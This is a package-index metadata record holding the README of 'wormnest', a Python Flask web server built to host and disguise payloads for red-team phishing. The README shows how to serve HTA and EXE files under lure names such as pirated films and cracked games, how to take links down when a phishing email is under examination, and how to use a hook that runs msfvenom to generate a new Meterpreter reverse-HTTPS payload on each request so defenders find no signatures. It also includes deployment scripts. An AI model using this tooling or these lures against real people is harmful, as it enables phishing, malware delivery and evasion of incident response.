{"id":27492115,"url":"https://github.com/operatorequals/wormnest","last_synced_at":"2026-01-16T12:29:57.410Z","repository":{"id":41671738,"uuid":"151498466","full_name":"operatorequals/wormnest","owner":"operatorequals","description":"A Web Server to hide stuff","archived":false,"fork":false,"pushed_at":"2022-04-29T08:37:58.000Z","size":192,"stargazers_count":19,"open_issues_count":1,"forks_count":8,"subscribers_count":3,"default_branch":"master","last_synced_at":"2023-08-06T22:05:36.626Z","etag":null,"topics":["flask","payload","phishing","pwndrop","python3","url-shortener","web"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/operatorequals.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-10-04T00:26:54.000Z","updated_at":"2023-05-23T01:29:49.000Z","dependencies_parsed_at":"2022-08-10T08:54:22.566Z","dependency_job_id":null,"html_url":"https://github.com/operatorequals/wormnest","commit_stats":null,"previous_names":[],"tags_count":16,"template":null,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/operatorequals%2Fwormnest","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/operatorequals%2Fwormnest/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/operatorequals%2Fwormnest/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/operatorequals%2Fwormnest/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/operatorequals","download_url":"https://codeload.github.com/operatorequals/wormnest/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249285479,"owners_count":21244182,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["flask","payload","phishing","pwndrop","python3","url-shortener","web"],"created_at":"2025-04-16T23:01:40.767Z","updated_at":"2026-01-16T12:29:57.400Z","avatar_url":"https://github.com/operatorequals.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"# wormnest\n*A place where worms live and reproduce, but you can't prove it...*\n\nA **Python3** Flask / SQL-Alchemy Web Server for *URL Minification* and *Manipulated File Serving*.\n\nHeavily inspired by [@bluscreenofjeff](https://github.com/bluscreenofjeff/) and *Cobalt Strike's Web Server* ([References](https://github.com/operatorequals/wormnest/wiki/References)), a Web Server that does it all!\n\n## Showcase:\n### Access the interface with:\n```\nhttp://localhost:8000/manage/\n```\nIt's pure HTML, no CSS nonsense, no JS engine has been harmed. No AJAX, no cookies, no hassles. **Just working HTML**.\n\n### Usage:\nIf we need to:\n* serve an `HTA` file available at `path/to/some/veryevil.hta`\n* through some **custom link**\n* with some **filename that is not suspicious**\n* that will **expire after 5 downloads**\n\nwe can issue the following GET request to `wormnest`:\n\n### Add URL Aliases\n```php\n# Splitting the URL parameters for readability\nhttp://localhost:8000/manage/add?\npath=path/to/some/veryevil.hta\u0026\nalias=fight_club_xvid_1999.avi\u0026\nfilename=fight_club_xvid_1999.hta\u0026\nclicks=5\n# Unsplit:\nhttp://localhost:8000/manage/add?path=path/to/some/veryevil.hta\u0026alias=fight_club_xvid_1999.avi\u0026filename=fight_club_xvid_1999.hta\u0026clicks=5\n```\nThis will create an *alias URL* for the `path/to/some/veryevil.hta`, making the serving as easy as:\n```\nhttp://payload-server:8000/fight_club_xvid_1999.avi\n```\nThis will serve a file named \"*fight_club_xvid_1999*.**hta**\", and will only last *5 clicks*!\n\n#### Play it again, Johny Guitar\nLet's serve the **same file**, without any expiration, with **a random alias** ([TinyURL](https://tinyurl.com) style), and a \"*SergioLeoneCollection_TheGoodTheBadAndTheUgly(1966)_subs-Autoplay*.**hta**\" filename.\n```\nhttp://localhost:8000/manage/add?path=path/to/some/veryevil.hta\u0026filename=SergioLeoneCollection_TheGoodTheBadAndTheUgly(1966)_subs-Autoplay.hta\n```\nThis will produce an 8 (by default) character, random ASCII string alias, like `/J3jcrZqd` that will prompt for a `SergioLeoneCollection_TheGoodTheBadAndTheUgly(1966)_subs-Autoplay.hta` download, and it will contain (of course) the `veryevil.hta` contents.\n\n### Delete URL Aliases\nIf, for some reason, you need to make the `/fight_club_xvid_1999.avi` unavailable (some phishing email is getting examined?), then a:\n```php\nhttp://localhost:8000/manage/del?alias=fight_club_xvid_1999.avi\n```\nwill do! That means that either a `404 Error` or a `302 Redirect` will occur on access to the URL:\n```\nhttp://payload-server:8000/fight_club_xvid_1999.avi\n```\n\n\n## Hooking the GET like never before *and the `unchecked` flag*\n\nThe above work well for static files. But when Penetration Testing, there is the need to serve payloads *that are different from time to time*, just to be sure you *don't generate any signatures* during the assessment.\nWell, again, as [@bluscreenofjeff](https://github.com/bluscreenofjeff/) taught in [this blog post](https://bluescreenofjeff.com/2014-04-17-Fresh-Veil-Automatically-Generating-Payloads/), you can generate payloads every some minutes, just in case to be sure that the Incident Response guys will not get what you first served.\n\nBut what about, generate a new payload in each click?\nMeet hooks. Meet the [hooker](https://github.com/satori-ng/hooker).\n\nAs of `0.3.0`, the directory `hooks/` will contain python *hooks*, that will run when certain GET requests are issued.\nHooks can be imported using the `HOOK_SCRIPTS` environment variable, and have to be separated by colon (`:`), Like ` HOOK_SCRIPTS=hook1.py:hook2.py`.\n\n### Hooks:\n#### `hooks/os_dependent_serve.py`\nThis hook reads the request's *User-Agent* and serves a different alias depending on strings found in it.\nSupports both *HTTP Redirect* and *Transparent Proxy* mode!\n\n*Needs Manual Configuration before launching*\n\n#### `hooks/random_from_directory.py`\nThis hook serves a random file from within a set directory.\n\n#### `hooks/autogen_msf.py`\nProof-of-Concept per-request payload generator. It uses `msfvenom` by breaking to a `system()` shell.\nCould work with [EVER](https://github.com/Veil-Framework/Veil-Evasion) [YTH](https://github.com/trustedsec/unicorn) [ING](https://www.shellterproject.com/) (that has non-interactive interface).\nBeware that *(time-to-generate) \u003e (TCP-timeout) = True* for some tools...\n\n*Needs Manual Configuration before launching*\n\n#### `hooks/req_log_hook.py`\nThis hook logs a `HTTP-Method User-Agent URL` for each request. Mostly a proof of concept for stats and measurements.\n\n\n### Breaking down the `hooks/autogen_msf.py` hook:\n```python\n'''\nThis hook serves a Meterpreter staged Reverse HTTPS\niteration, created with msfvenom for each new visit\nof the triggering URL.\n'''\nimport hooker\nimport subprocess\nimport tempfile\n\nMSFVENOM = \"msfvenom\"    # msfvenom path\nC2_HOST = \"127.0.0.1\"    # Returns to localhost: Change this!\nC2_PORT = 443\n\n# Staged MetHTTPS\nPAYLOAD = \"windows/meterpreter/reverse_https\"    \n\n# Triggered if the served filename contains the below string:\n#   Example: rev_https.msf.exe\ntrigger_filename = '.msf'\n\n@hooker.hook(\"pre_file\")\ndef autogen_msf(filename, request):\n    if trigger_filename not in filename:\n        return None\n\n    extension = '.' + filename.split('.')[-1]\n    fd = tempfile.NamedTemporaryFile('rb', suffix=extension)\n\n    command = f\"{MSFVENOM} -p {PAYLOAD} LHOST={C2_HOST} LPORT={C2_PORT} -f exe -o {fd.name}\"\n    print(\"[!] '{}'\".format(command))\n    try:\n        subprocess.run(command, shell=True, check=True)\n    except subprocess.CalledProcessError:\n        print(f\"Failed to execute command: '{command}'\")\n    return fd\n```\nLoading it and running is as easy as `HOOK_SCRIPTS=hooks/autogen_msf.py python3 app.py`.\nNow, to trigger the hook we need a file with `.msf` in its filename to be aliased. So:\n```\nhttp://wormnest:8080/manage/add?path=rev_https.msf.exe\u0026alias=msf\n```\nBut this returns an error, about non-existing `rev_https.msf.exe` file.\nThat's why `unchecked` exists:\n```\nhttp://wormnest:8080/manage/add?path=rev_https.msf.exe\u0026alias=msf\u0026unchecked=true\n```\nNow `http://wormnest:8080/msf` is accessible, and will return a Meterpreter EXE!\nTest it with `wget http://wormnest:8080/msf`!\n\n\nMeterpreter is a little old fashioned?\nYou can always code your own hooks...\n\n----\n\n\n## Install - Setup - Deploy\n---\nInstall with:\n```bash\ngit clone https://github.com/operatorequals/wormnest/   # stick to a git tag for production\ncd wormnest\npip install -r requirements\n```\n\nRun with:\n```bash\n$ export [a bunch of Environment Variables] # Skip that for sane defaults (more below)\n$\n$ python3 app.py\n```\n\n### The used Environment Variables and the *Sane Defaults*\n\nGo to the [Project's Wiki Page](https://github.com/operatorequals/wormnest/wiki/Deployment)\n\n\n### For *Cobalt Strikers*\nGenerating payloads from the CS client directly to the (remote) *Worm Nest* deployment is as simple as [`sshfs`](https://github.com/libfuse/sshfs) to that served directory (`SRV_DIR`). People tend to forget that `scp` is by far NOT THE ONLY WAY!\n\nA simple:\n```bash\nmkdir -p ~/cs_payloads\nsshfs user@payloadserver:/place/where/wormnest/SRV_DIR/points ~/cs_payloads\n```\nand then you can drop *artifacts* in `cs_payloads` directory and list them under `http://payloadserver:8000/manage/list`, ready for aliasing and serving!\n\n## A Simple Deployment Scenario\n\n##### wormnest.sh\n```bash\n#!/bin/bash\n\n# Generate a big and random Management URI\n# Bash-Fu taken from https://unix.stackexchange.com/questions/230673/how-to-generate-a-random-string\nexport MANAGE_URL_DIR=\"$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '')\"\necho \"$MANAGE_URL_DIR\" \u003e $HOME/wormnest_management.key\n\nexport REDIRECT_URL=\"https://google.com\"\nexport DEFAULT_FILENAME=\"SpotifyFree_premium_crack\" # No file extension here if USE_ORIGINAL_EXTENSION is set!\n\napt update \u0026\u0026 apt install -y python3 git # Let's assume Debian\n\ngit clone https://github.com/operatorequals/wormnest -b \u003csome_tag\u003e --depth 1 # depth 1 for copying just the tagged commit \ncd wormnest\npip3 install -r requirements.txt\necho '{\n  \"download_now\":{\n    \"path\":\"metasploit/generated/meter_pinning_443.exe\",\n    \"filename\":\"CrazyTaxi_cracked_singlefile_by_Raz0r_team_2006.exe\"\n  },\n}' \u003e basic_routes.json\nexport DEFAULT_PATHS_FILE=\"basic_routes.json\"\n\nmkdir -p ~/generated_payloads/\nexport SRV_DIR=\"$HOME/generated_payloads\"\n\npython3 app.py\n```\n##### wormnest_start.sh\n```bash\n#!/bin/bash\ntmux new -s wormnest -d 'bash wormnest.sh'\n```\nHaving in mind mass-deployment environments (looking at you [Red Baron](https://github.com/Coalfire-Research/Red-Baron)), such scripts come in handy. In the `terraform` case, a `remote-exec` provisioner can replace the need for `wormnest_start.sh`.\n\n\n## Securing your *Worm Nest*!\nThere is **no authentication** for the management endpoint of this service. This effectively means that anyone going under the `/manage/` directory will be able to *see, add, delete all* URL aliases, and *list the whole served directory*.\n\nYet, adding authentication, is (at least at this point) out of scope. That's why the `MANAGE_URL_DIR` exists in the first place. A *passwordish* string here will prevent anyone (not able to guess it) to reach the management endpoint. A password in the URL sucks (I now), but combined with some HTTPS (needed in case of actual use), and with no Intercepting HTTP Proxy between your host and the *Worm Nest* deployment you'll be good enough!\n\nOr even hiding the whole `wormnest` behind an *Apache mod_rewrite proxy* would also work (and add the desired SSL, while redirecting away the `/manage/` attempts).\n\nHave Fun!\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Foperatorequals%2Fwormnest","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Foperatorequals%2Fwormnest","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Foperatorequals%2Fwormnest/lists"}